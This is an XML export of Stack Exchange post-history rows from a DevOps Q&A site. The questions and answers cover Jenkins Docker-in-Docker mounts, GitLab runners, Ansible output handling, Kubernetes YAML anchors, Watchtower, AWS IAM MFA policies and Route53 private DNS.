  <row Id="39460" PostHistoryTypeId="5" PostId="12853" RevisionGUID="de0e1377-a5ea-482c-b602-15b0e0a65e80" CreationDate="2020-11-26T13:45:05.697" UserId="18007" Comment="added 126 characters in body; edited title" Text="I have the below command in my Jenkinsfile:&#xD;&#xA;&#xD;&#xA;    docker run --rm -v '${WORKSPACE}':/var/cache/de --entrypoint=/usr/local/bin/pytest ${IMAGE_NAME}:${IMAGE_VERSION} -m &quot;not require_dss&quot; -s -v --cov-report term --cov=app_dss_bundle --junitxml=/var/cache/de/rtest.xml tests&#xD;&#xA;    &#xD;&#xA;    ls -l&#xD;&#xA;&#xD;&#xA;but for some reason, I can't see the `rtest.xml` in the path afterward. it works for me in my private linux docker env.&#xD;&#xA;The Jenkins runs on slave, which is docker by itself, so this is the root cause for mounting... Any idea hiw to escape from it? I already tried to mount `/var/run/docker.sock`" ContentLicense="CC BY-SA 4.0" />
  <row Id="39461" PostHistoryTypeId="4" PostId="12853" RevisionGUID="de0e1377-a5ea-482c-b602-15b0e0a65e80" CreationDate="2020-11-26T13:45:05.697" UserId="18007" Comment="added 126 characters in body; edited title" Text="docker in docker mount doesn't work" ContentLicense="CC BY-SA 4.0" />
  <row Id="39463" PostHistoryTypeId="2" PostId="12865" RevisionGUID="b388f51f-28c2-4c8f-8e61-f7758e9ddc8a" CreationDate="2020-11-26T16:53:40.893" UserId="24899" Text="I guess the issue is here:&#xD;&#xA;&#xD;&#xA;  default = &quot;10.10.10.10/24&quot;&#xD;&#xA;&#xD;&#xA;you have defined a network address and not a subnet. Try and change the IP address to a subnet address it should work.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39464" PostHistoryTypeId="2" PostId="12866" RevisionGUID="4822ed17-e061-4da9-acd2-8a9704aa5979" CreationDate="2020-11-26T17:35:05.857" UserId="24901" Text="I try to use Gitlab-CI and create the runner, but when jobs start, the job with the needed runner doesn't start:&#xD;&#xA;&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;But this runner exists in the list:&#xD;&#xA;&#xD;&#xA;[![enter image description here][2]][2]&#xD;&#xA;&#xD;&#xA;How to use a runner?&#xD;&#xA;&#xD;&#xA;And an additional question: all works fine with the &quot;automatic&quot; runner when I only create `.yml` file. Why do I need to create some other runners and why runners needed?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/kmyvp.png&#xD;&#xA;  [2]: https://i.stack.imgur.com/clFKb.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="39465" PostHistoryTypeId="1" PostId="12866" RevisionGUID="4822ed17-e061-4da9-acd2-8a9704aa5979" CreationDate="2020-11-26T17:35:05.857" UserId="24901" Text="This job is stuck because you don't have any active runners online" ContentLicense="CC BY-SA 4.0" />
  <row Id="39466" PostHistoryTypeId="3" PostId="12866" RevisionGUID="4822ed17-e061-4da9-acd2-8a9704aa5979" CreationDate="2020-11-26T17:35:05.857" UserId="24901" Text="&lt;gitlab-ci-runner&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39467" PostHistoryTypeId="5" PostId="12853" RevisionGUID="6085f5f9-e265-4a7f-9f99-7cd12b2feaf9" CreationDate="2020-11-26T19:10:13.550" UserId="18007" Comment="added 9 characters in body" Text="I have the below command in my `Jenkinsfile`:&#xD;&#xA;&#xD;&#xA;    docker run --rm -v &quot;${WORKSPACE}&quot;:/var/cache/de --entrypoint=/usr/local/bin/pytest ${IMAGE_NAME}:${IMAGE_VERSION} -m &quot;not require_dss&quot; -s -v --cov-report term --cov=app_dss_bundle --junitxml=/var/cache/de/rtest.xml tests&#xD;&#xA;    &#xD;&#xA;    ls -l&#xD;&#xA;&#xD;&#xA;I'm running inside docker slave, so it means its docker inside docker. I can't see the `rtest.xml` in the `WORKSPACE` afterward (it works for me in my private linux docker env). I already tried to run the suggestion of `-v /var/run/docker.sock:/var/run/docker.sock` but it didn't help. any other idea?&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39468" PostHistoryTypeId="4" PostId="12853" RevisionGUID="6085f5f9-e265-4a7f-9f99-7cd12b2feaf9" CreationDate="2020-11-26T19:10:13.550" UserId="18007" Comment="added 9 characters in body" Text="Docker in docker volume mount doesn't work" ContentLicense="CC BY-SA 4.0" />
  <row Id="39469" PostHistoryTypeId="5" PostId="12857" RevisionGUID="d3682e2a-57cd-4ad8-987b-5e6786aff72a" CreationDate="2020-11-26T19:31:41.557" UserId="24539" Comment="added 246 characters in body" Text="Judging by the [documentation][1], the result of your `run multiple commands on remote nodes` block is an array. You're writing only the first item of that array with `{{ print_output.stdout[0] }}`. The `[0]` here is the pointer to the first element of the array. Try removing it and see if the result fits your needs.&#xD;&#xA;&#xD;&#xA;**UPD**: Use this to write several strings into a file:&#xD;&#xA;```yaml&#xD;&#xA;- name: save output to a file&#xD;&#xA;  lineinfile:&#xD;&#xA;    create: yes&#xD;&#xA;    line: &quot;{{item}}&quot;&#xD;&#xA;    path: ./output/{{ inventory_hostname }}.txt&#xD;&#xA;  with_items: &quot;{{ print_output.stdout }}&quot;&#xD;&#xA;```&#xD;&#xA;  [1]: https://docs.ansible.com/ansible/2.3/ios_command_module.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="39470" PostHistoryTypeId="5" PostId="12837" RevisionGUID="329dd328-19cf-455b-95b6-3159012ab09b" CreationDate="2020-11-26T19:32:07.053" UserId="13139" Comment="Remove unrelated tag. Improve spelling" Text="I have a `deployment.yaml` file and want to reuse the environment for all my deployments like this:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;apiVersion: apps/v1&#xD;&#xA;kind: Deployment&#xD;&#xA;metadata:&#xD;&#xA;  name: beat&#xD;&#xA;spec:&#xD;&#xA;  selector:&#xD;&#xA;    matchLabels:&#xD;&#xA;      app: beat&#xD;&#xA;  template:&#xD;&#xA;    metadata:&#xD;&#xA;      labels:&#xD;&#xA;        app: beat&#xD;&#xA;    spec:&#xD;&#xA;      containers:&#xD;&#xA;      - name: beat&#xD;&#xA;        image: myimage&#xD;&#xA;        command: [&quot;celery&quot;, &quot;-A&quot;, &quot;wsgi.celery&quot;, &quot;beat&quot;]&#xD;&#xA;        env: &amp;default&#xD;&#xA;        - name: FIRST_ENV&#xD;&#xA;          value: my-value&#xD;&#xA;        - name: SECOND_ENV&#xD;&#xA;          value: another-value&#xD;&#xA;---&#xD;&#xA;apiVersion: apps/v1&#xD;&#xA;kind: Deployment&#xD;&#xA;metadata:&#xD;&#xA;  name: flower&#xD;&#xA;spec:&#xD;&#xA;  selector:&#xD;&#xA;    matchLabels:&#xD;&#xA;      app: flower&#xD;&#xA;  template:&#xD;&#xA;    metadata:&#xD;&#xA;      labels:&#xD;&#xA;        app: flower&#xD;&#xA;    spec:&#xD;&#xA;      containers:&#xD;&#xA;      - name: flower&#xD;&#xA;        image: myimage&#xD;&#xA;        command: [&quot;celery&quot;, &quot;flower&quot;, &quot;-A&quot;, &quot;wsgi.celery&quot;]&#xD;&#xA;        env: *defaultenv&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;But it seems like `kubectl apply -f deployment.yaml` won't work with YAML anchors.&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;error: error parsing deployment.yaml: error converting YAML to JSON: yaml: unknown anchor 'defaultenv' referenced&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Is it possible to use YAML anchors or is there another preferred approach of how to reuse repeating blocks for k8s configuration?" ContentLicense="CC BY-SA 4.0" />
  <row Id="39471" PostHistoryTypeId="6" PostId="12837" RevisionGUID="329dd328-19cf-455b-95b6-3159012ab09b" CreationDate="2020-11-26T19:32:07.053" UserId="13139" Comment="Remove unrelated tag. Improve spelling" Text="&lt;kubernetes&gt;&lt;deployment&gt;&lt;yaml&gt;&lt;kubectl&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39472" PostHistoryTypeId="24" PostId="12837" RevisionGUID="329dd328-19cf-455b-95b6-3159012ab09b" CreationDate="2020-11-26T19:32:07.053" Comment="Proposed by 13139 approved by 40 edit id of 1301" ContentLicense="CC BY-SA 4.0" />
  <row Id="39473" PostHistoryTypeId="5" PostId="12851" RevisionGUID="ac4455ef-d5f7-4e79-9b07-c7ff1010467d" CreationDate="2020-11-26T19:32:33.990" UserId="24539" Comment="Enclosed YAML code in block for readability" Text="You can see bellow how it looks like my Ansible Script.&#xD;&#xA;&#xD;&#xA;My question is what i need to change to get output from multiple commands to a file.The problem is that i get output only from the first command.&#xD;&#xA;&#xD;&#xA;I have 200 vrf,do i really need to make multiple tasks fior multiple commands,or there is another solution for it.&#xD;&#xA;&#xD;&#xA;I would highly appreciate any response.&#xD;&#xA;&#xD;&#xA;```yaml&#xD;&#xA;---&#xD;&#xA;- name: PING_TenGig_Ethernet_VRFs&#xD;&#xA;  hosts: fr1.s05&#xD;&#xA;  gather_facts: false&#xD;&#xA;  connection: local&#xD;&#xA;&#xD;&#xA;  tasks:&#xD;&#xA;    - name: run multiple commands on remote nodes&#xD;&#xA;      ios_command:&#xD;&#xA;        commands:&#xD;&#xA;          - show bgp vrf Mgmt-intf&#xD;&#xA;          - show bgp vrf cha-00 all summary&#xD;&#xA;          - show bgp vrf cha-001 all summary&#xD;&#xA;          - show bgp vrf cha-002 all summary&#xD;&#xA;          - show bgp vrf cha-00303 all summary&#xD;&#xA;&#xD;&#xA;      register: print_output&#xD;&#xA;&#xD;&#xA;    -  debug: var=print_output.stdout_lines&#xD;&#xA;&#xD;&#xA;    - name: save output to a file&#xD;&#xA;      copy: content=&quot;{{ print_output.stdout[0] }}&quot; dest=&quot;./output/{{ inventory_hostname }}.txt&quot;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Best,&#xD;&#xA;&#xD;&#xA;Ado" ContentLicense="CC BY-SA 4.0" />
  <row Id="39474" PostHistoryTypeId="24" PostId="12851" RevisionGUID="ac4455ef-d5f7-4e79-9b07-c7ff1010467d" CreationDate="2020-11-26T19:32:33.990" Comment="Proposed by 24539 approved by -1 edit id of 1300" ContentLicense="CC BY-SA 4.0" />
  <row Id="39475" PostHistoryTypeId="5" PostId="12851" RevisionGUID="8ea87028-8282-4cb5-9255-e7a009fde5ac" CreationDate="2020-11-26T19:32:33.990" UserId="40" Comment="Enclosed YAML code in block for readability" Text="You can see bellow how it looks like my Ansible Script.&#xD;&#xA;&#xD;&#xA;My question is what i need to change to get output from multiple commands to a file.The problem is that i get output only from the first command.&#xD;&#xA;&#xD;&#xA;I have 200 vrf,do i really need to make multiple tasks fior multiple commands,or there is another solution for it.&#xD;&#xA;&#xD;&#xA;I would highly appreciate any response.&#xD;&#xA;&#xD;&#xA;```yaml&#xD;&#xA;---&#xD;&#xA;- name: PING_TenGig_Ethernet_VRFs&#xD;&#xA;  hosts: fr1.s05&#xD;&#xA;  gather_facts: false&#xD;&#xA;  connection: local&#xD;&#xA;&#xD;&#xA;  tasks:&#xD;&#xA;    - name: run multiple commands on remote nodes&#xD;&#xA;      ios_command:&#xD;&#xA;        commands:&#xD;&#xA;          - show bgp vrf Mgmt-intf&#xD;&#xA;          - show bgp vrf cha-00 all summary&#xD;&#xA;          - show bgp vrf cha-001 all summary&#xD;&#xA;          - show bgp vrf cha-002 all summary&#xD;&#xA;          - show bgp vrf cha-00303 all summary&#xD;&#xA;&#xD;&#xA;      register: print_output&#xD;&#xA;&#xD;&#xA;    -  debug: var=print_output.stdout_lines&#xD;&#xA;&#xD;&#xA;    - name: save output to a file&#xD;&#xA;      copy: content=&quot;{{ print_output.stdout[0] }}&quot; dest=&quot;./output/{{ inventory_hostname }}.txt&quot;&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="39476" PostHistoryTypeId="2" PostId="12867" RevisionGUID="2b2bbb7e-d480-49ae-aef8-1081350ca287" CreationDate="2020-11-27T07:03:37.173" UserId="19767" Text="You can utilize watchtower to restart the specified containers each time new image of that container is avaialble. &#xD;&#xA;&#xD;&#xA;&gt; [Watchtower][1] : with watchtower you can update the running version&#xD;&#xA;&gt; of your containerized app simply by pushing a new image to the Docker&#xD;&#xA;&gt; Hub or your own image registry. Watchtower will pull down your new&#xD;&#xA;&gt; image, gracefully shut down your existing container and restart it&#xD;&#xA;&gt; with the same options that were used when it was deployed initially.&#xD;&#xA;&gt; Run the watchtower container with the following command:&#xD;&#xA;&gt; &#xD;&#xA;&gt;     $ docker run -d \&#xD;&#xA;&gt;         --name watchtower \&#xD;&#xA;&gt;         -v /var/run/docker.sock:/var/run/docker.sock \&#xD;&#xA;&gt;         containrrr/watchtower&#xD;&#xA;&#xD;&#xA;docker-compose integration example:&#xD;&#xA;&#xD;&#xA;    services:&#xD;&#xA;      watchtower:&#xD;&#xA;        command: --label-enable --cleanup --interval 300&#xD;&#xA;        image: containrrr/watchtower&#xD;&#xA;        labels:&#xD;&#xA;          - &quot;com.centurylinklabs.watchtower.enable=true&quot;&#xD;&#xA;        network_mode: none&#xD;&#xA;        restart: always&#xD;&#xA;        volumes:&#xD;&#xA;          - /var/run/docker.sock:/var/run/docker.sock&#xD;&#xA;&#xD;&#xA;      mariadb:&#xD;&#xA;          depends_on:&#xD;&#xA;            - watchtower&#xD;&#xA;          env_file: .mariadb.env&#xD;&#xA;          image: mariadb:10&#xD;&#xA;          labels:&#xD;&#xA;            - &quot;com.centurylinklabs.watchtower.enable=true&quot;&#xD;&#xA;          networks:&#xD;&#xA;            - default&#xD;&#xA;          ports:&#xD;&#xA;            - 3306:3306&#xD;&#xA;          restart: always&#xD;&#xA;          volumes:&#xD;&#xA;            - ./data/volumes/mariadb:/var/lib/mysql&#xD;&#xA;&#xD;&#xA;To check the logs of the updation you can execute `docker-compose logs watchtower`&#xD;&#xA;&#xD;&#xA;docker-compose integration reference: https://chriswiegman.com/2019/12/keeping-docker-containers-updated/&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/containrrr/watchtower&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39477" PostHistoryTypeId="2" PostId="12868" RevisionGUID="f76afed6-374b-4ebc-ab2d-8f4af5a68f63" CreationDate="2020-11-27T08:17:37.523" UserId="11625" Text="These are hacks (understandably as you couldn't explicitly do this in Terraform &lt; 0.13).&#xD;&#xA;&#xD;&#xA;Now however, with 0.13, we have `depends_on` for modules: https://github.com/hashicorp/terraform/blob/v0.13/CHANGELOG.md#0130-august-10-2020&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39478" PostHistoryTypeId="2" PostId="12869" RevisionGUID="1850a582-b1e5-4b08-a62d-690fe798c26a" CreationDate="2020-11-27T18:23:30.263" UserId="7770" Text="I have several AWS IAM users, and I want to enable them to manage their own virtual MFA devices. Most of our IAM users don't have a `Path` attribute, so this statement works well enough:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;{&#xD;&#xA;    &quot;Sid&quot;: &quot;ManageOwnTOTPVirtualMFA&quot;,&#xD;&#xA;    &quot;Effect&quot;: &quot;Allow&quot;,&#xD;&#xA;    &quot;Action&quot;: [&#xD;&#xA;        &quot;iam:ListVirtualMFADevices&quot;,&#xD;&#xA;        &quot;iam:EnableMFADevice&quot;,&#xD;&#xA;        &quot;iam:DeleteVirtualMFADevice&quot;,&#xD;&#xA;        &quot;iam:CreateVirtualMFADevice&quot;&#xD;&#xA;    ],&#xD;&#xA;    &quot;Resource&quot;: [&#xD;&#xA;        &quot;arn:aws:iam::123412341234:user/${aws:username}&quot;,&#xD;&#xA;        &quot;arn:aws:iam::123412341234:mfa/${aws:username}&quot;&#xD;&#xA;    ]&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;However, this **does not work** for users that have a `Path` attribute because the [aws:username](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_variables.html) variable only includes the last part of the path.&#xD;&#xA;&#xD;&#xA;Is there any way to grant IAM users with a `Path` prefix the ability to modify their own virtual MFA devices without needing to write a distinct IAM policy for every possible Path prefix?" ContentLicense="CC BY-SA 4.0" />
  <row Id="39479" PostHistoryTypeId="1" PostId="12869" RevisionGUID="1850a582-b1e5-4b08-a62d-690fe798c26a" CreationDate="2020-11-27T18:23:30.263" UserId="7770" Text="Allow AWS IAM users with a Path prefix to manage only their own MFA device" ContentLicense="CC BY-SA 4.0" />
  <row Id="39480" PostHistoryTypeId="3" PostId="12869" RevisionGUID="1850a582-b1e5-4b08-a62d-690fe798c26a" CreationDate="2020-11-27T18:23:30.263" UserId="7770" Text="&lt;amazon-web-services&gt;&lt;aws-iam&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39482" PostHistoryTypeId="2" PostId="12870" RevisionGUID="1953826d-f12e-4a73-a5f4-1a52d856aa14" CreationDate="2020-11-27T22:08:34.497" UserId="4115" Text="This should be fairly straightforward to do in a script block.  I don't think there's a declarative-native way to do this.&#xD;&#xA;&#xD;&#xA;I use this script block to cancel builds for earlier (i.e. outdated) revisions of PRs:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;script {&#xD;&#xA;  // currentBuild is a Pipeline-builtin variable for accessing the Build object&#xD;&#xA;  // https://www.jenkins.io/doc/book/pipeline/getting-started/#global-variable-reference&#xD;&#xA;  def build = currentBuild&#xD;&#xA;&#xD;&#xA;  while(true) {&#xD;&#xA;    build = build.getPreviousBuild()&#xD;&#xA;&#xD;&#xA;    // exit the loop if we have finished iterating over builds&#xD;&#xA;    // (groovy doesn't have a do...while feature)&#xD;&#xA;    if (build == null) break&#xD;&#xA;&#xD;&#xA;    def rawBuild = build.rawBuild&#xD;&#xA;&#xD;&#xA;    if (rawBuild.isBuilding()) {&#xD;&#xA;      // abort the build&#xD;&#xA;      rawBuild.doTerm()&#xD;&#xA;    }&#xD;&#xA;  }&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;As you can hopefully see, this iterates over **all** previous builds and uses the `isBuilding()` method to find ones that are currently running.&#xD;&#xA;&#xD;&#xA;If you want to check later builds instead of previous ones, you can use `getNextBuild()` instead (I believe the API doc is [here](https://javadoc.jenkins-ci.org/hudson/model/Run.html), it's been a while since I wrote this so this might be the wrong class).&#xD;&#xA;&#xD;&#xA;And if you want to check only one directly adjacent build instead of all earlier/later builds, you can just omit the loop and only call `getPreviousBuild()`/`getNextBuild()` once." ContentLicense="CC BY-SA 4.0" />
  <row Id="39484" PostHistoryTypeId="2" PostId="12871" RevisionGUID="4fabedc8-de7f-4f32-a78e-4e9ea7f72249" CreationDate="2020-11-28T00:05:53.723" UserId="21718" Text="The problem was that the vpn network has the subnet 10.0.0.0/8 and the ingress network of docker swarm has the subnet 10.0.0.0/24.&#xD;&#xA;So there were a conflict.&#xD;&#xA;&#xD;&#xA;Fix:&#xD;&#xA;Changing either the vpn subnet or thhe ingress network subnet." ContentLicense="CC BY-SA 4.0" />
  <row Id="39485" PostHistoryTypeId="2" PostId="12872" RevisionGUID="8160c250-c3fe-4207-87ea-9101aea520d9" CreationDate="2020-11-28T02:48:42.157" UserId="24909" Text="I have a Kubernetes cluster in AWS, with apps that talk to AWS services like RDS, Elasticache, Elasticsearch, DynamoDB, etc.&#xD;&#xA;&#xD;&#xA;For the services where it's available (Elasticache and RDS, and more recently Elasticsearch with a custom ACM certificate), I've considered making a private zone in Route53 and making CNAMEs for all the things. So instead of `app-production.789yuiahsdf.redis.elastitcache.aws.com` or whatever the Elasticache endpoint is, my app talks to `sidekiq.redis.app`. I'd use a pattern, maybe `&lt;purpose&gt;.&lt;service&gt;.&lt;app&gt;`, so I'd have `sidekiq.redis.app`, `cache.redis.app`, `primary.postgres.app`, `replica.postgres.app`, etc, etc.&#xD;&#xA;&#xD;&#xA;The next step is having the app is configured by default to use these hosts. In development, staging, and production, they don't NEED any configuration (maybe it's still available), but the defaults should &quot;just work&quot; if the environment is set up properly.&#xD;&#xA;&#xD;&#xA;**What are the downsides here? What am I missing?** To me, this seems sort of like simple service discovery and a reasonable idea. But reasonable ideas can sometimes bite you later on." ContentLicense="CC BY-SA 4.0" />
  <row Id="39486" PostHistoryTypeId="1" PostId="12872" RevisionGUID="8160c250-c3fe-4207-87ea-9101aea520d9" CreationDate="2020-11-28T02:48:42.157" UserId="24909" Text="What reasons should I NOT use a private DNS zone and CNAME services in my AWS/K8s environment?" ContentLicense="CC BY-SA 4.0" />
  <row Id="39487" PostHistoryTypeId="3" PostId="12872" RevisionGUID="8160c250-c3fe-4207-87ea-9101aea520d9" CreationDate="2020-11-28T02:48:42.157" UserId="24909" Text="&lt;amazon-web-services&gt;&lt;kubernetes&gt;&lt;dns&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39488" PostHistoryTypeId="50" PostId="12138" RevisionGUID="93487ffc-1dc5-45f4-90dd-a6cad783892c" CreationDate="2020-11-28T14:02:50.277" UserId="-1" />
  <row Id="39489" PostHistoryTypeId="2" PostId="12873" RevisionGUID="39e98b1c-0b3e-45dc-b42c-106963333c95" CreationDate="2020-11-28T14:05:34.937" UserId="24916" Text="It seems a reasonable idea to me.  &#xD;&#xA;There migt be a few things you might want to check tho :&#xD;&#xA;&#xD;&#xA;[This article](https://aws.amazon.com/premiumsupport/knowledge-center/route-53-fix-dns-resolution-issues/?nc1=h_ls) or [this one](https://docs.aws.amazon.com/vpc/latest/userguide/vpc-dns.html). For example :&#xD;&#xA; - the fact the that a private hosted zone is associated with a VPC&#xD;&#xA; - there is some *DNS hostnames* and *DNS resolution* parameters on the VPC settings&#xD;&#xA; &gt; **enableDnsHostnames** : Indicates whether instances with public IP addresses get corresponding public DNS hostnames  &#xD;&#xA; &gt; **enableDnsSupport** : Indicates whether the DNS resolution is supported.&#xD;&#xA;&#xD;&#xA; - Only VPC resolver will resolve the private records (subnet range +2 for the ip of the VPC resolver, search for *reserved* ip [here](https://docs.aws.amazon.com/vpc/latest/userguide/VPC_Subnets.html))&#xD;&#xA;    - take care you didn't configure custom resolver and so wont be able to access your private records&#xD;&#xA;    - think about the fact that you won't be able to resolve those records from outside the VPC (office for example) unless you manage to plug to the VPC resolver somehow&#xD;&#xA;&#xD;&#xA;You could also give a look at [Alias record](https://docs.aws.amazon.com/Route53/latest/DeveloperGuide/resource-record-sets-choosing-alias-non-alias.html) ?&#xD;&#xA;Could give advantages like :&#xD;&#xA;  - create record that has the same name as the hosted zone&#xD;&#xA;  - not being charged for the queries (in opposite to CNAMEs)&#xD;&#xA;&#xD;&#xA;These are few things I can think off right now. Hope this helps.&#xD;&#xA;&#xD;&#xA;Cheers." ContentLicense="CC BY-SA 4.0" />
  <row Id="39490" PostHistoryTypeId="50" PostId="9666" RevisionGUID="b6ddc532-ee9a-4a4d-9cc3-1df2ce5b11f0" CreationDate="2020-11-28T19:03:30.307" UserId="-1" />
  <row Id="39491" PostHistoryTypeId="2" PostId="12874" RevisionGUID="3b5ce4e1-5337-4c2c-bd4d-0ef59b7b3118" CreationDate="2020-11-28T21:14:42.093" UserId="24649" Text="I want to create a query variable in grafana using Loki that returns all the possible label values of the label **baz** such that they only include label values that exist where the label **foo** equals **&quot;bar&quot;**.&#xD;&#xA;Looking at the docs, I came up with the following query for the variable:&#xD;&#xA;&#xD;&#xA;label_values(rate({foo=~&quot;bar&quot;}, baz)&#xD;&#xA;&#xD;&#xA;However this returned all the possible baz label values and not only those that exist while foo=&quot;bar&quot;, basically the results are the same as:&#xD;&#xA;&#xD;&#xA;label_values(baz)&#xD;&#xA;&#xD;&#xA;What am I doing wrong? thank you.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39492" PostHistoryTypeId="1" PostId="12874" RevisionGUID="3b5ce4e1-5337-4c2c-bd4d-0ef59b7b3118" CreationDate="2020-11-28T21:14:42.093" UserId="24649" Text="How to filter label_values in Loki?" ContentLicense="CC BY-SA 4.0" />
  <row Id="39493" PostHistoryTypeId="3" PostId="12874" RevisionGUID="3b5ce4e1-5337-4c2c-bd4d-0ef59b7b3118" CreationDate="2020-11-28T21:14:42.093" UserId="24649" Text="&lt;prometheus&gt;&lt;grafana&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39498" PostHistoryTypeId="2" PostId="12876" RevisionGUID="6530b66c-db70-4587-a49b-f0c00de1014c" CreationDate="2020-11-28T22:26:18.220" UserId="24917" Text="Do you have 2 different jenkins jobs configured for master and release branches? Since github webhook event is sent to Jenkins irrespective of branch, both your jenkins jobs may be getting triggered by this github webhook event. And since both jobs are configured with separate branches, they may be checking out those branches during jenkins job execution which is why you may be seeing respective branches being printed in both jenkins jobs.&#xD;&#xA;&#xD;&#xA;Checkout [jenkins multibranch pipeline](https://www.jenkins.io/doc/book/pipeline/multibranch/) if you haven't already so you don't have to maintain multiple jenkins jobs for branches.&#xD;&#xA;&#xD;&#xA;Now coming back to your Jenkinsfile code, you can try following:&#xD;&#xA;&#xD;&#xA; 1. Replace `env.GIT_BRANCH` with `env.BRANCH_NAME`&#xD;&#xA;&#xD;&#xA; 2. Use `allOf` inside when condition instead of `&amp;&amp;`  -&#xD;&#xA;&#xD;&#xA;        stage(&quot;Step 3: Production Deployment&quot;){&#xD;&#xA;            when {&#xD;&#xA;                allOf {&#xD;&#xA;                    expression { env.BRANCH_NAME == &quot;origin/master&quot; }&#xD;&#xA;                    expression { params.merged == true }&#xD;&#xA;                    expression { params.current_status == &quot;closed&quot; }&#xD;&#xA;                }&#xD;&#xA;            }&#xD;&#xA;            steps{&#xD;&#xA;                -----&#xD;&#xA;                sh 'kubectl apply -f **.yaml'&#xD;&#xA;            } &#xD;&#xA;        }&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Note that github webhook will trigger the jenkins job for every branch push or PR merge event (irrespective of branch), so your jenkins job would have to handle multi-branch scenarios like explained in this [official doc example](https://www.jenkins.io/doc/tutorials/build-a-multibranch-pipeline-project/#add-deliver-and-deploy-stages-to-your-pipeline).&#xD;&#xA;    " ContentLicense="CC BY-SA 4.0" />
  <row Id="39499" PostHistoryTypeId="2" PostId="12877" RevisionGUID="7f2e04b9-8193-4a63-a5c0-e5592ff30595" CreationDate="2020-11-29T10:01:14.680" UserId="24925" Text="I have a script which performs backup of several docker volumes during the night.&#xD;&#xA;&#xD;&#xA;It starts by stopping the containers that use these volumes, then it creates a new container with all the volumes mounted and back them up with borg. Finally it restarts the containers.&#xD;&#xA;&#xD;&#xA;Sometimes the scripts runs into weird issues, like a container can not start because its image or a network it uses is missing. Is it possible that docker daemon prunes them while my backup script is running? How can I disable it?&#xD;&#xA;&#xD;&#xA;I could not see anything in daemon logs." ContentLicense="CC BY-SA 4.0" />
  <row Id="39500" PostHistoryTypeId="1" PostId="12877" RevisionGUID="7f2e04b9-8193-4a63-a5c0-e5592ff30595" CreationDate="2020-11-29T10:01:14.680" UserId="24925" Text="Docker prunes image and networks by itself" ContentLicense="CC BY-SA 4.0" />
  <row Id="39501" PostHistoryTypeId="3" PostId="12877" RevisionGUID="7f2e04b9-8193-4a63-a5c0-e5592ff30595" CreationDate="2020-11-29T10:01:14.680" UserId="24925" Text="&lt;docker&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39502" PostHistoryTypeId="50" PostId="12636" RevisionGUID="2db146cb-e1d4-41b3-9192-077f87d91a9e" CreationDate="2020-11-29T10:01:25.127" UserId="-1" />
  <row Id="39503" PostHistoryTypeId="50" PostId="12665" RevisionGUID="ffa38f03-9b15-4aac-9394-19d3cfdea38e" CreationDate="2020-11-29T11:03:45.477" UserId="-1" />
  <row Id="39504" PostHistoryTypeId="2" PostId="12878" RevisionGUID="3e72ae2e-c618-4f1b-85fc-aa402241a940" CreationDate="2020-11-29T15:07:53.943" UserId="18007" Text="I have Pipeline which run Jenkinsfile. one of the stage is pylint:&#xD;&#xA;&#xD;&#xA;    python -m pylint --rcfile=.pylintrc --exit-zero ${MODULE} &gt; ${WORKSPACE}/testreport/pylint.log&#xD;&#xA;&#xD;&#xA;is there any plugin I can use go get nice report from all previous build like pytest have? I know there was used to be violations plugin which is now deprecated&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39505" PostHistoryTypeId="1" PostId="12878" RevisionGUID="3e72ae2e-c618-4f1b-85fc-aa402241a940" CreationDate="2020-11-29T15:07:53.943" UserId="18007" Text="Is there any Jenkins plugin for pylint results?" ContentLicense="CC BY-SA 4.0" />
  <row Id="39506" PostHistoryTypeId="3" PostId="12878" RevisionGUID="3e72ae2e-c618-4f1b-85fc-aa402241a940" CreationDate="2020-11-29T15:07:53.943" UserId="18007" Text="&lt;jenkins-plugins&gt;&lt;python&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39507" PostHistoryTypeId="5" PostId="12878" RevisionGUID="97aad2d4-54ea-41d6-8a9f-68635363a7a5" CreationDate="2020-11-29T15:14:24.747" UserId="18007" Comment="deleted 64 characters in body" Text="I have Pipeline which run Jenkinsfile. one of the stage is pylint:&#xD;&#xA;&#xD;&#xA;    python -m pylint --rcfile=.pylintrc --exit-zero ${MODULE} &gt; ${WORKSPACE}/testreport/pylint.log&#xD;&#xA;&#xD;&#xA;I know there was used to be violations plugin which is now deprecated. is there any alternative?&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39508" PostHistoryTypeId="50" PostId="12604" RevisionGUID="7659935f-14ed-459b-9f76-57d25daee0da" CreationDate="2020-11-29T17:01:25.090" UserId="-1" />
  <row Id="39509" PostHistoryTypeId="50" PostId="12611" RevisionGUID="398971e2-426b-4e0f-898e-ef8a137e26de" CreationDate="2020-11-29T18:01:06.730" UserId="-1" />
